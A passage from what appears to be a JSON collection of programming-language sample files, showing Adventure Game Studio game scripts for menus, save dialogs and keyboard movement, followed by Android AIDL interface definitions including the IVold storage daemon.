\r\n}\r\n\r\nfunction show_inventory_window () \r\n{\r\n  gInventory.Visible = true;\r\n  // switch to the Use cursor (to select items with)\r\n  mouse.Mode = eModeInteract;\r\n  // But, override the appearance to look like the arrow\r\n  mouse.UseModeGraphic(eModePointer);\r\n}\r\n\r\nfunction show_save_game_dialog()\r\n{\r\n  gSaveGame.Visible = true;\r\n  // Get the list of save games\r\n  lstSaveGamesList.FillSaveGameList();\r\n  if (lstSaveGamesList.ItemCount > 0)\r\n  {\r\n    // If there is at least one, set the default text\r\n    // to be the first game's name\r\n    txtNewSaveName.Text = lstSaveGamesList.Items[0];\r\n  }\r\n  else\r\n  {\r\n    // No save games yet, default empty text.\r\n    txtNewSaveName.Text = \"\";\r\n  }\r\n  mouse.UseModeGraphic(eModePointer);\r\n  gIconbar.Visible = false;\r\n}\r\n\r\nfunction show_restore_game_dialog()\r\n{\r\n  gRestoreGame.Visible = true;\r\n  lstRestoreGamesList.FillSaveGameList();\r\n  mouse.UseModeGraphic(eModePointer);\r\n  gIconbar.Visible = false;\r\n}\r\n\r\nfunction close_save_game_dialog()\r\n{\r\n  gSaveGame.Visible = false;\r\n  mouse.UseDefaultGraphic();\r\n  gIconbar.Visible = true;\r\n}\r\n\r\nfunction close_restore_game_dialog()\r\n{\r\n  gRestoreGame.Visible = false;\r\n  mouse.UseDefaultGraphic();\r\n  gIconbar.Visible = true;\r\n}\r\n\r\n// Called when a key is pressed. keycode holds the key's ASCII code\r\nfunction on_key_press(eKeyCode keycode) {\r\n  // The following is called before \"if game is paused keycode=0\", so\r\n  // it'll happen even when the game is paused.\r\n  \r\n  if ((keycode == eKeyEscape) && gRestartYN.Visible) {\r\n    //Use ESC to cancel restart.\r\n    gRestartYN.Visible = false; \r\n    gIconbar.Visible = true;\r\n    // If the panel's not ON, then the player must have gotten here by tapping F9,\r\n    // therefore his cursor needs restoring. If the panel IS on, then it doesn't,\r\n    // because it's already a pointer. Get used to thinking like this!!\r\n    if (!gPanel.Visible) mouse.UseDefaultGraphic(); \r\n    return;\r\n  }\r\n  if ((keycode == eKeyEscape) && gPanel.Visible) {\r\n    // Use ESC to turn the panel off.\r\n    gPanel.Visible = false; \r\n    mouse.UseDefaultGraphic();\r\n    gIconbar.Visible = true;\r\n    return;\r\n  }\r\n  if ((keycode == eKeyEscape) && (gSaveGame.Visible))\r\n  {\r\n    // Use ESC to close the save game dialog\r\n    close_save_game_dialog();\r\n    return;\r\n  }\r\n  if ((keycode == eKeyEscape) && (gRestoreGame.Visible))\r\n  {\r\n    // Use ESC to close the restore game dialog\r\n    close_restore_game_dialog();\r\n    return;\r\n  }\r\n  \r\n  if (keycode == eKeyReturn) { \r\n    // ENTER, in this case merely confirms restart\r\n    if (gRestartYN.Visible) RestartGame();\r\n  }\r\n\r\n  if (IsGamePaused() || (IsInterfaceEnabled() == 0))\r\n  {\r\n    // If the game is paused with a modal GUI on the\r\n    // screen, or the player interface is disabled in\r\n    // a cut scene, ignore any keypresses.\r\n    return;\r\n  }\r\n\r\n  // FUNCTION KEYS AND SYSTEM SHORTCUTS\r\n  if (keycode == eKeyEscape) {\r\n    // ESC\r\n    gPanel.Visible = true; \r\n    gIconbar.Visible = false;\r\n    mouse.UseModeGraphic(eModePointer);\r\n  }\r\n  if (keycode == eKeyCtrlQ)  QuitGame(1);   // Ctrl-Q\r\n  if (keycode == eKeyF5) show_save_game_dialog();   // F5\r\n  if (keycode == eKeyF7) show_restore_game_dialog();  // F7\r\n  if (keycode == eKeyF9) {\r\n    // F9, asks the player to confirm restarting (so much better to always confirm first)\r\n    gRestartYN.Visible = true;  \r\n    gIconbar.Visible = false;\r\n    mouse.UseModeGraphic(eModePointer);\r\n  }\r\n  if (keycode == eKeyF12) SaveScreenShot(\"scrnshot.bmp\");  // F12\r\n  if (keycode == eKeyTab)   show_inventory_window();  // Tab, show inventory\r\n\r\n  // GAME COMMAND SHORTCUTS\r\n  if (keycode == 'W') mouse.Mode=eModeWalkto; //Notice this alternate way to indicate keycodes.\r\n  if (keycode == 'L') mouse.Mode=eModeLookat; //Note that all we do here is set modes.\r\n  if (keycode == 'U') mouse.Mode=eModeInteract; //If you want something else to happen, such as GUI buttons highlighting,\r\n  if (keycode == 'T') mouse.Mode=eModeTalkto; //you'll need some more scripting done.\r\n  if (keycode == 'I') mouse.Mode=eModeUseinv; //But this will, as-is, give you some standard keyboard shortcuts your players will very much appreciate.\r\n\r\n  // For extra cursor modes, such as pick up, feel free to add as you will.\r\n  // Uncomment the line below if you use the \"Pick Up\" mode.\r\n  //if (keycode == 'P' || keycode == 'G') mouse.Mode=eModePickup; \r\n\r\n  // DEBUG FUNCTIONS\r\n  if (keycode == eKeyCtrlS)  Debug(0,0);  // Ctrl-S, give all inventory\r\n  if (keycode == eKeyCtrlV)  Debug(1,0);  // Ctrl-V, version\r\n  if (keycode == eKeyCtrlA)  Debug(2,0);  // Ctrl-A, show walkable areas\r\n  if (keycode == eKeyCtrlX)  Debug(3,0);  // Ctrl-X, teleport to room\r\n  if (keycode == eKeyCtrlW && game.debug_mode) \r\n    player.PlaceOnWalkableArea(); //Ctrl-W, move to walkable area \r\n}\r\n\r\n\r\nfunction on_mouse_click(MouseButton button) {\r\n  // called when a mouse button is clicked. button is either LEFT or RIGHT\r\n  if (IsGamePaused() == 1) {\r\n    // Game is paused, so do nothing (ie. don't allow mouse click)\r\n  }\r\n  else if (button == eMouseLeft) {\r\n    ProcessClick(mouse.x, mouse.y, mouse.Mode );\r\n  }\r\n  else if (button == eMouseRight || button == eMouseWheelSouth){\r\n    // right-click our mouse-wheel down, so cycle cursor\r\n    mouse.SelectNextMode();\r\n  }\r\n  else if (button == eMouseMiddle) { \r\n    // Middle-button-click, default make character walk to clicked area (a little shortcut)\r\n    // Could have been just \"player.Walk(mouse.x,mouse.y)\", but it's best to\r\n    // leave our options open - what if you have a special script triggered\r\n    // on \"walking\" mode?\r\n    ProcessClick(mouse.x, mouse.y, eModeWalkto); \r\n  }\r\n  else if (button == eMouseWheelNorth) { \r\n    // Mouse-wheel up, cycle cursors \r\n    // If mode isn't WALK, set the previous mode (notice usage of numbers instead\r\n    // of eNums, when it suits us)...\r\n    if (mouse.Mode>0) mouse.Mode=mouse.Mode-1; \r\n    else \r\n    { \r\n      // ...but if it is WALK mode...\r\n      if (player.ActiveInventory!=null) \r\n      {\r\n        //...and the player has a selected inventory item, set mouse mode to UseInv. \r\n        mouse.Mode=eModeUseinv; \r\n      }\r\n      else \r\n      {\r\n        // If they don't, however, just set it to mode TALK (change this line if you add more cursor modes)\r\n        mouse.Mode=eModeTalkto; \r\n      }\r\n    }\r\n  }\r\n}\r\n\r\nfunction interface_click(int interface, int button) {\r\n  // This function is obsolete, from 2.62 and earlier versions.\r\n}\r\n\r\nfunction btnInvUp_Click(GUIControl *control, MouseButton button) {\r\n  invCustomInv.ScrollUp();\r\n}\r\n\r\nfunction btnInvDown_Click(GUIControl *control, MouseButton button) {\r\n  invCustomInv.ScrollDown();\r\n}\r\n\r\nfunction btnInvOK_Click(GUIControl *control, MouseButton button) {\r\n\t// They pressed the OK button, close the GUI\r\n\tgInventory.Visible = false;\r\n\tmouse.UseDefaultGraphic();\r\n}\r\n\r\nfunction btnInvSelect_Click(GUIControl *control, MouseButton button) {\r\n  \r\n\t// They pressed SELECT, so switch to the Get cursor\r\n\tmouse.Mode = eModeInteract;\r\n\t// But, override the appearance to look like the arrow\r\n\tmouse.UseModeGraphic(eModePointer);\r\n}\r\n\r\nfunction btnIconInv_Click(GUIControl *control, MouseButton button) {\r\n  \r\n  show_inventory_window();\r\n}\r\n\r\nfunction btnIconCurInv_Click(GUIControl *control, MouseButton button) {\r\n  \r\n  if (player.ActiveInventory != null)\r\n    mouse.Mode = eModeUseinv;\r\n}\r\n\r\nfunction btnIconSave_Click(GUIControl *control, MouseButton button) \r\n{\r\n  show_save_game_dialog();\r\n}\r\n\r\nfunction btnIconLoad_Click(GUIControl *control, MouseButton button) \r\n{\r\n  show_restore_game_dialog();\r\n}\r\n\r\nfunction btnIconExit_Click(GUIControl *control, MouseButton button) {\r\n  \r\n  QuitGame(1);\r\n}\r\n\r\nfunction btnIconAbout_Click(GUIControl *control, MouseButton button) {\r\n  \r\n  gPanel.Visible=true;\r\n  gIconbar.Visible=false;\r\n  mouse.UseModeGraphic(eModePointer);\r\n}\r\n\r\nfunction cEgo_Look()\r\n{\r\n  Display(\"Damn, I'm looking good!\");\r\n}\r\n\r\nfunction cEgo_Interact()\r\n{\r\n  Display(\"You rub your hands up and down your clothes.\");\r\n}\r\n\r\nfunction cEgo_Talk()\r\n{\r\n  Display(\"Talking to yourself is a sign of madness!\");\r\n}\r\n\r\n//START OF CONTROL PANEL FUNCTIONS\r\nfunction btnSave_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gPanel.Visible = false;\r\n  mouse.UseDefaultGraphic();\r\n  gIconbar.Visible = true;\r\n  Wait(1);\r\n  btnIconSave_Click(btnIconSave, eMouseLeft);\r\n}\r\n\r\nfunction gControl_OnClick(GUI *theGui, MouseButton button)\r\n{\r\n\r\n}\r\n\r\nfunction btnAbout_OnClick(GUIControl *control, MouseButton button)\r\n{\r\nDisplay(\"Adventure Game Studio run-time engine default game.\");\r\n}\r\n\r\nfunction btnQuit_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gPanel.Visible = false;\r\n  Wait(1);\r\n  QuitGame(1);\r\n  gPanel.Visible = true;\r\n  gIconbar.Visible = false;\r\n  mouse.UseModeGraphic(eModePointer);\r\n}\r\n\r\nfunction btnLoad_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gPanel.Visible = false;\r\n  mouse.UseDefaultGraphic();\r\n  gIconbar.Visible = true;\r\n  Wait(1);\r\n  btnIconLoad_Click(btnIconLoad, eMouseLeft);\r\n}\r\n\r\nfunction btnResume_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gPanel.Visible = false;\r\n  mouse.UseDefaultGraphic();\r\n  gIconbar.Visible = true;\r\n}\r\n\r\nfunction sldAudio_OnChange(GUIControl *control)\r\n{\r\n  System.Volume = sldAudio.Value;\r\n}\r\n\r\nfunction sldVoice_OnChange(GUIControl *control)\r\n{\r\n  // Sets voice volume. Note that we don't check for the existence of speech.vox - \r\n  // we did that in game_start, so if it's not there the slider won't even be available.\r\n  SetSpeechVolume(sldVoice.Value); \r\n}\r\n\r\nfunction btnVoice_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  // Note that we don't check for the existence of speech.vox - we did that in game_start,\r\n  // so if it's not there the button won't even be available.\r\n  if (btnVoice.Text == \"Voice and Text\") { \r\n    SetVoiceMode(eSpeechVoiceOnly); \r\n    btnVoice.Text = \"Voice only\";\r\n  }\r\n  else if (btnVoice.Text == \"Voice only\") {\r\n    SetVoiceMode(eSpeechTextOnly);\r\n    btnVoice.Text = \"Text only\";\r\n  }\r\n  else if (btnVoice.Text == \"Text only\") {\r\n    SetVoiceMode(eSpeechVoiceAndText);\r\n    btnVoice.Text = \"Voice and Text\";\r\n  }\r\n}\r\n\r\nfunction sldGamma_OnChange(GUIControl *control)\r\n{\r\n  // Set the gamma. Note there's no need to check for anything else, as we ensured,\r\n  // in game_start, that the slider won't even appear if it's not possible to do this.\r\n  System.Gamma = sldGamma.Value; \r\n}\r\n\r\nfunction btnDefault_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  // Reset everything to default. You'll have to edit these as well as the sliders\r\n  // if you'd rather have different default parameters.\r\n  System.Volume = 100;\r\n  sldAudio.Value = System.Volume;\r\n  sldSpeed.Value = 40;\r\n  SetGameSpeed(40);\r\n  if (IsSpeechVoxAvailable()) {\r\n     SetVoiceMode(eSpeechVoiceAndText);\r\n     btnVoice.Text = \"Voice and Text\";\r\n     sldVoice.Value = 255;\r\n     SetSpeechVolume(255);\r\n  }\r\n  if (System.SupportsGammaControl) {\r\n    System.Gamma = 100;\r\n    sldGamma.Value = 100;\r\n  }\r\n}\r\n//END OF CONTROL PANEL FUNCTIONS\r\n\r\nfunction dialog_request(int param) \r\n{\r\n  // This is used by the dialog text parser if you need to process\r\n  // text that the player types in to the parser.\r\n  // It is not used by default.\r\n}\r\n\r\nfunction sldSpeed_OnChange(GUIControl *control)\r\n{\r\n  SetGameSpeed(sldSpeed.Value);\r\n}\r\n\r\nfunction btnRestart_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gRestartYN.Visible=true;\r\n  gIconbar.Visible=false;\r\n}\r\n\r\nfunction btnRestartYes_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  RestartGame();\r\n}\r\n\r\nfunction btnRestartNo_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  gRestartYN.Visible = false;\r\n  gIconbar.Visible = true;\r\n  // If the panel's not ON, then the player must have gotten here by tapping F9,\r\n  // therefore his cursor needs restoring. If the panel IS on, then it doesn't,\r\n  // because it's already a pointer. Get used to thinking like this!!\r\n  if (!gPanel.Visible) mouse.UseDefaultGraphic(); \r\n}\r\n\r\nfunction btnCancelSave_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  close_save_game_dialog();\r\n}\r\n\r\nfunction btnSaveGame_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  int gameSlotToSaveInto = lstSaveGamesList.ItemCount + 1;\r\n  int i = 0;\r\n  while (i < lstSaveGamesList.ItemCount)\r\n  {\r\n    if (lstSaveGamesList.Items[i] == txtNewSaveName.Text)\r\n    {\r\n      gameSlotToSaveInto = lstSaveGamesList.SaveGameSlots[i];\r\n    }\r\n    i++;\r\n  }\r\n  SaveGameSlot(gameSlotToSaveInto, txtNewSaveName.Text);\r\n  close_save_game_dialog();\r\n}\r\n\r\nfunction btnCancelRestore_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  close_restore_game_dialog();\r\n}\r\n\r\nfunction btnRestoreGame_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  if (lstRestoreGamesList.SelectedIndex >= 0)\r\n  {\r\n    RestoreGameSlot(lstRestoreGamesList.SaveGameSlots[lstRestoreGamesList.SelectedIndex]);\r\n  }\r\n  close_restore_game_dialog();\r\n}\r\n\r\nfunction lstSaveGamesList_OnSelectionCh(GUIControl *control)\r\n{\r\n  txtNewSaveName.Text = lstSaveGamesList.Items[lstSaveGamesList.SelectedIndex];\r\n}\r\n\r\nfunction txtNewSaveName_OnActivate(GUIControl *control)\r\n{\r\n  // Pressing return in the text box simulates clicking the Save button\r\n  btnSaveGame_OnClick(control, eMouseLeft);\r\n}\r\n\r\nfunction btnDeleteSave_OnClick(GUIControl *control, MouseButton button)\r\n{\r\n  if (lstSaveGamesList.SelectedIndex >= 0)\r\n  {\r\n    DeleteSaveSlot(lstSaveGamesList.SaveGameSlots[lstSaveGamesList.SelectedIndex]);\r\n    lstSaveGamesList.FillSaveGameList();\r\n  }\r\n}\r\n"
  },
  {
    "path": "samples/AGS Script/GlobalScript.ash",
    "content": "// Main header script - this will be included into every script in\r\n// the game (local and global). Do not place functions here; rather,\r\n// place import definitions and #define names here to be used by all\r\n// scripts.\r\n"
  },
  {
    "path": "samples/AGS Script/KeyboardMovement_102.asc",
    "content": "// Main script for module 'KeyboardMovement'\r\n\r\n//****************************************************************************************************\r\n// DEFINITIONS\r\n//****************************************************************************************************\r\n\r\n#define DISTANCE 10000// distance player walks in Tapping mode before he stops\r\n\r\nenum KeyboardMovement_Directions {\r\n\teKeyboardMovement_Stop, \r\n\teKeyboardMovement_DownLeft, \r\n\teKeyboardMovement_Down, \r\n\teKeyboardMovement_DownRight, \r\n\teKeyboardMovement_Left, \r\n\teKeyboardMovement_Right, \r\n\teKeyboardMovement_UpLeft, \r\n\teKeyboardMovement_Up, \r\n\teKeyboardMovement_UpRight\r\n};\r\n\r\n//****************************************************************************************************\r\n// VARIABLES\r\n//****************************************************************************************************\r\n\r\n// keycodes as variables for future key customization functions (static variables?):\r\nint KeyboardMovement_KeyDown = 380; // down arrow\r\nint KeyboardMovement_KeyLeft = 375; // left arrow\r\nint KeyboardMovement_KeyRight = 377; // right arrow\r\nint KeyboardMovement_KeyUp = 372; // up arrow\r\nint KeyboardMovement_KeyDownRight = 381; // PgDn (numpad)\r\nint KeyboardMovement_KeyUpRight = 373; // PgUp (numpad)\r\nint KeyboardMovement_KeyDownLeft = 379; // End (numpad)\r\nint KeyboardMovement_KeyUpLeft = 371; // Home (numpad)\r\nint KeyboardMovement_KeyStop = 376; // 5 (numpad)\r\n\r\nKeyboardMovement_Modes KeyboardMovement_Mode = eKeyboardMovement_None; // stores current keyboard control mode (disabled by default)\r\n\r\nKeyboardMovement_Directions KeyboardMovement_CurrentDirection = eKeyboardMovement_Stop; // stores current walking direction of player character\r\n\r\n//****************************************************************************************************\r\n// USER FUNCTIONS\r\n//****************************************************************************************************\r\n\r\n//====================================================================================================\r\n\r\nstatic function KeyboardMovement::SetMode(KeyboardMovement_Modes mode) {\r\n\tKeyboardMovement_Mode = mode;\r\n}\r\n\r\n//====================================================================================================\r\n\r\n// key customization functions here\r\n\r\n//====================================================================================================\r\n\r\n//****************************************************************************************************\r\n// EVENT HANDLER FUNCTIONS\r\n//****************************************************************************************************\r\n\r\n//====================================================================================================\r\n\r\nfunction repeatedly_execute() {\r\n\r\n\t//--------------------------------------------------\r\n\t// Pressing mode\r\n\t//--------------------------------------------------\r\n\r\n\tif ((IsGamePaused() == true) || (KeyboardMovement_Mode != eKeyboardMovement_Pressing) || (IsInterfaceEnabled() == false) || (player.on == false)) return 0;\r\n\t  // if game is paused, module or mode disabled, interface disabled or player character hidden, quit function\r\n\r\n\tKeyboardMovement_Directions newdirection; // declare variable storing new direction\r\n\r\n\t// get new direction:\r\n\tif ( ((IsKeyPressed(KeyboardMovement_KeyDown)) && (IsKeyPressed(KeyboardMovement_KeyRight))) || (IsKeyPressed(KeyboardMovement_KeyDownRight)) ) newdirection = eKeyboardMovement_DownRight; // if down&right arrows or PgDn (numeric pad) held down, set new direction to Down-Right\r\n\telse if ( ((IsKeyPressed(KeyboardMovement_KeyUp)) && (IsKeyPressed(KeyboardMovement_KeyRight))) || (IsKeyPressed(KeyboardMovement_KeyUpRight)) ) newdirection = eKeyboardMovement_UpRight; // up&right arrows or PgUp (numpad)\r\n\telse if ( ((IsKeyPressed(KeyboardMovement_KeyDown)) && (IsKeyPressed(KeyboardMovement_KeyLeft))) || (IsKeyPressed(KeyboardMovement_KeyDownLeft)) ) newdirection = eKeyboardMovement_DownLeft; // down&left arrows or End (numpad)\r\n\telse if ( ((IsKeyPressed(KeyboardMovement_KeyUp)) && (IsKeyPressed(KeyboardMovement_KeyLeft))) || (IsKeyPressed(KeyboardMovement_KeyUpLeft)) ) newdirection = eKeyboardMovement_UpLeft; // up&left arrows or Home (numpad)\r\n\telse if (IsKeyPressed(KeyboardMovement_KeyDown)) newdirection = eKeyboardMovement_Down; // down arrow\r\n\telse if (IsKeyPressed(KeyboardMovement_KeyLeft)) newdirection = eKeyboardMovement_Left; // left arrow\r\n\telse if (IsKeyPressed(KeyboardMovement_KeyRight)) newdirection = eKeyboardMovement_Right; // right arrow\r\n\telse if (IsKeyPressed(KeyboardMovement_KeyUp)) newdirection = eKeyboardMovement_Up; // up arrow\r\n\telse newdirection = eKeyboardMovement_Stop; // if none of the above held down, set it to stop player character\r\n\r\n\tif (IsKeyPressed(KeyboardMovement_KeyStop)) newdirection = eKeyboardMovement_Stop; // if 5 (numeric pad) held down, stop player character, regardless of whether some of the above are held down\r\n\r\n\tif (newdirection != KeyboardMovement_CurrentDirection) { // if new direction is different from current direction\r\n\r\n\t\tif (newdirection == eKeyboardMovement_Stop) player.StopMoving(); // if new direction is the Stop command, stop movement of player character\r\n\t\telse { // if new direction is NOT the Stop command\r\n\r\n\t\t\tint dx, dy; // declare variables storing new walk coordinates\r\n\t\t\tif (newdirection == eKeyboardMovement_DownRight) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_UpRight) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_DownLeft) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_UpLeft) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Down) {\r\n\t\t\t\tdx = 0;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Left) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = 0;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Right) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = 0;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Up) {\r\n\t\t\t\tdx = 0;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\r\n\t\t\tplayer.WalkStraight(player.x + dx, player.y + dy, eNoBlock); // walk player character to the new coordinates\r\n\t\t}\r\n\t\tKeyboardMovement_CurrentDirection = newdirection; // update current direction to new direction\r\n\r\n\t}\r\n\r\n}\r\n\r\n//====================================================================================================\r\n\r\nfunction on_key_press(int keycode) {\r\n\r\n\t//--------------------------------------------------\r\n\t// Tapping mode\r\n\t//--------------------------------------------------\r\n\r\n\tif ((IsGamePaused() == true) || (KeyboardMovement_Mode != eKeyboardMovement_Tapping) || (IsInterfaceEnabled() == false) || (player.on == false)) return 0;\r\n\t  // if game is paused, module or mode disabled, interface disabled or player character hidden, quit function\r\n\r\n\tKeyboardMovement_Directions newdirection; // declare variable storing new direction\r\n\r\n\t// get new direction:\r\n\tif (keycode == KeyboardMovement_KeyDownRight) newdirection = eKeyboardMovement_DownRight; // if down-right key pressed, set new direction to Down-Right\r\n\telse if (keycode == KeyboardMovement_KeyUpRight) newdirection = eKeyboardMovement_UpRight;\r\n\telse if (keycode == KeyboardMovement_KeyDownLeft) newdirection = eKeyboardMovement_DownLeft;\r\n\telse if (keycode == KeyboardMovement_KeyUpLeft) newdirection = eKeyboardMovement_UpLeft;\r\n\telse if (keycode == KeyboardMovement_KeyDown) newdirection = eKeyboardMovement_Down;\r\n\telse if (keycode == KeyboardMovement_KeyLeft) newdirection = eKeyboardMovement_Left;\r\n\telse if (keycode == KeyboardMovement_KeyRight) newdirection = eKeyboardMovement_Right;\r\n\telse if (keycode == KeyboardMovement_KeyUp) newdirection = eKeyboardMovement_Up;\r\n\telse if (keycode == KeyboardMovement_KeyStop) newdirection = eKeyboardMovement_Stop; // if stop key pressed, set to stop player character\r\n\r\n\tif (newdirection != KeyboardMovement_CurrentDirection) { // if new direction is different from current direction\r\n\r\n\t\tif (newdirection == eKeyboardMovement_Stop) player.StopMoving(); // if new direction is the Stop command, stop movement of player character\r\n\t\telse { // if new direction is NOT the Stop command\r\n\r\n\t\t\tint dx, dy; // declare variables storing new walk coordinates\r\n\t\t\tif (newdirection == eKeyboardMovement_DownRight) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_UpRight) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_DownLeft) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_UpLeft) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Down) {\r\n\t\t\t\tdx = 0;\r\n\t\t\t\tdy = DISTANCE;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Left) {\r\n\t\t\t\tdx = -DISTANCE;\r\n\t\t\t\tdy = 0;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Right) {\r\n\t\t\t\tdx = DISTANCE;\r\n\t\t\t\tdy = 0;\r\n\t\t\t}\r\n\t\t\telse if (newdirection == eKeyboardMovement_Up) {\r\n\t\t\t\tdx = 0;\r\n\t\t\t\tdy = -DISTANCE;\r\n\t\t\t}\r\n\r\n\t\t\tplayer.WalkStraight(player.x + dx, player.y + dy, eNoBlock); // walk player character to the new coordinates\r\n\t\t}\r\n\t\tKeyboardMovement_CurrentDirection = newdirection; // update current direction to new direction\r\n\r\n\t}\r\n\telse { // if new direction is same as current direction\r\n\t\tplayer.StopMoving(); // stop player character\r\n\t\tKeyboardMovement_CurrentDirection = eKeyboardMovement_Stop; // update current direction\r\n\t}\r\n\r\n}\r\n\r\n//====================================================================================================\r\n\r\nfunction on_event(EventType event, int data) {\r\n\r\n\tif (event == eEventLeaveRoom) KeyboardMovement_CurrentDirection = eKeyboardMovement_Stop;\r\n\r\n}\r\n\r\n//====================================================================================================\r\n"
  },
  {
    "path": "samples/AGS Script/KeyboardMovement_102.ash",
    "content": "// Script header for module 'KeyboardMovement'\r\n\r\n#define KeyboardMovement_VERSION 101\r\n\r\nenum KeyboardMovement_Modes {\r\n\teKeyboardMovement_None, \r\n\teKeyboardMovement_Tapping, \r\n\teKeyboardMovement_Pressing\r\n};\r\n\r\nstruct KeyboardMovement {\r\n\timport static function SetMode(KeyboardMovement_Modes mode);\r\n};\r\n"
  },
  {
    "path": "samples/AIDL/ExtendableParcelable.aidl",
    "content": "/*\n * Copyright (C) 2020 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage test_package;\n\nparcelable ExtendableParcelable {\n    int a;\n    @nullable @utf8InCpp String b;\n    ParcelableHolder ext;\n    long c;\n    ParcelableHolder ext2;\n}\n"
  },
  {
    "path": "samples/AIDL/IVoid.aidl",
    "content": "/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage android.os;\n\nimport android.os.incremental.IncrementalFileSystemControlParcel;\nimport android.os.IVoldListener;\nimport android.os.IVoldMountCallback;\nimport android.os.IVoldTaskListener;\n\n/** {@hide} */\ninterface IVold {\n    void setListener(IVoldListener listener);\n\n    void abortFuse();\n    void monitor();\n    void reset();\n    void shutdown();\n\n    void onUserAdded(int userId, int userSerial);\n    void onUserRemoved(int userId);\n    void onUserStarted(int userId);\n    void onUserStopped(int userId);\n\n    void addAppIds(in @utf8InCpp String[] packageNames, in int[] appIds);\n    void addSandboxIds(in int[] appIds, in @utf8InCpp String[] sandboxIds);\n\n    void onSecureKeyguardStateChanged(boolean isShowing);\n\n    void partition(@utf8InCpp String diskId, int partitionType, int ratio);\n    void forgetPartition(@utf8InCpp String partGuid, @utf8InCpp String fsUuid);\n\n    void mount(@utf8InCpp String volId, int mountFlags, int mountUserId,\n         @nullable IVoldMountCallback callback);\n    void unmount(@utf8InCpp String volId);\n    void format(@utf8InCpp String volId, @utf8InCpp String fsType);\n    void benchmark(@utf8InCpp String volId, IVoldTaskListener listener);\n\n    void moveStorage(@utf8InCpp String fromVolId, @utf8InCpp String toVolId,\n                     IVoldTaskListener listener);\n\n    void remountUid(int uid, int remountMode);\n    void remountAppStorageDirs(int uid, int pid, in @utf8InCpp String[] packageNames);\n    void unmountAppStorageDirs(int uid, int pid, in @utf8InCpp String[] packageNames);\n\n    void setupAppDir(@utf8InCpp String path, int appUid);\n    void fixupAppDir(@utf8InCpp String path, int appUid);\n    void ensureAppDirsCreated(in @utf8InCpp String[] paths, int appUid);\n\n    @utf8InCpp String createObb(@utf8InCpp String sourcePath, @utf8InCpp String sourceKey,\n                                int ownerGid);\n    void destroyObb(@utf8InCpp String volId);\n\n    void fstrim(int fstrimFlags, IVoldTaskListener listener);\n    void runIdleMaint(IVoldTaskListener listener);\n    void abortIdleMaint(IVoldTaskListener listener);\n\n    FileDescriptor mountAppFuse(int uid, int mountId);\n    void unmountAppFuse(int uid, int mountId);\n\n    void fdeCheckPassword(@utf8InCpp String password);\n    void fdeRestart();\n    int fdeComplete();\n    void fdeEnable(int passwordType, @utf8InCpp String password, int encryptionFlags);\n    void fdeChangePassword(int passwordType, @utf8InCpp String password);\n    void fdeVerifyPassword(@utf8InCpp String password);\n    @utf8InCpp String fdeGetField(@utf8InCpp String key);\n    void fdeSetField(@utf8InCpp String key, @utf8InCpp String value);\n    int fdeGetPasswordType();\n    @utf8InCpp String fdeGetPassword();\n    void fdeClearPassword();\n\n    void fbeEnable();\n\n    void mountDefaultEncrypted();\n    void initUser0();\n    boolean isConvertibleToFbe();\n    void mountFstab(@utf8InCpp String blkDevice, @utf8InCpp String mountPoint);\n    